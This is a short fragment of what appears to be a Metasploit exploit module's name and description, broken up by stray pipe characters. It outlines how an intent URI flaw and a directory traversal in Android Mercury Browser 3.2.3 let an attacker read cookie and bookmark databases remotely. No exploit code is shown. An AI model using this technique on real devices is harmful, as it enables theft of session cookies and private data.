'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits an unsafe intent URI scheme and directory traversal found in
|
|
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
|
|
private wifi manager activity, which starts a web server for Mercury on port 8888.
|
|
The webserver also suffers a directory traversal that allows remote access to
|
|
sensitive files.
|
|
|
|
By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
|
|
webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
|
|
ADDITIONAL_FILES datastore option to collect more files.
